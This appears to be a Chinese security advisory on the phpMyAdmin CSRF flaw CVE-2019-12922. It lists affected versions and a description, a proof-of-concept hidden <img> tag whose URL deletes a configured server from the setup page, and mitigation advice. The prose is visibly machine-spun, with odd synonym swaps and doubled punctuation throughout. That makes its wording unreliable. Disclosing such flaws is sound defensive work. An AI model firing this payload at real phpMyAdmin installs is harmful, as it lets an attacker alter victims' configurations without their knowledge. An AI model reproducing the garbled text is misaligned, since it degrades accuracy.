phpMyAdmin跨站要求伪造缝隙安全公告

颁布功夫 2019-09-23

●缝隙编号和级别


CVE编号：CVE-2019-12922，，危险级别：中危，，CVSS分值：6.5


●影响版本


phpMyAdmin<= 4.9.0.1


●缝隙概述


phpMyAdmin是一个MySQL和MariaDB数据库的免费开源治理工具，，宽泛用于治理WordPress、、Joomla和很多其他内容治理平台创建的网站的数据库。 。


近日，，安全钻研人员Manuel Garcia Cardenas披露了phpMyAdmin的一个跨站要求伪造（CVE-2019-12922）缝隙。 。攻击者可利用该缝隙诱使认证用户执行恶意操作。 。当攻击者将恶意机关的URL发送给指标web治理员时，，若该web治理员已使用统一浏览器登陆了phpmyAdmin面板，，并打开该链接，，即可执行URL蕴含的恶意要求删除指标服务器上phpMyAdmin面板设置页面中所配置的服务器。 。


●缝隙验证


POC:利用 CSRF —删除主服务器。 。


<p>Deleting Server 1</p>

<img src="

http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1";

style="display:none;" />


●修复建议


官方暂未颁布针对此缝隙的修复版本。 。


一时缓解措施：


用户可通过在每次挪用时使用token变量验证来对该缝隙进行防护。 。


在守护人员对该缝隙进行修复前，，强烈建议有关的用户预防点击任何可疑的链接造成风险，，请关注官方有关新闻，，以便实时升级phpMyAdmin至修复版正本防护此缝隙。 。


●参考链接


https://thehackernews.com/2019/09/phpmyadmin-csrf-exploit.html

https://seclists.org/fulldisclosure/2019/Sep/23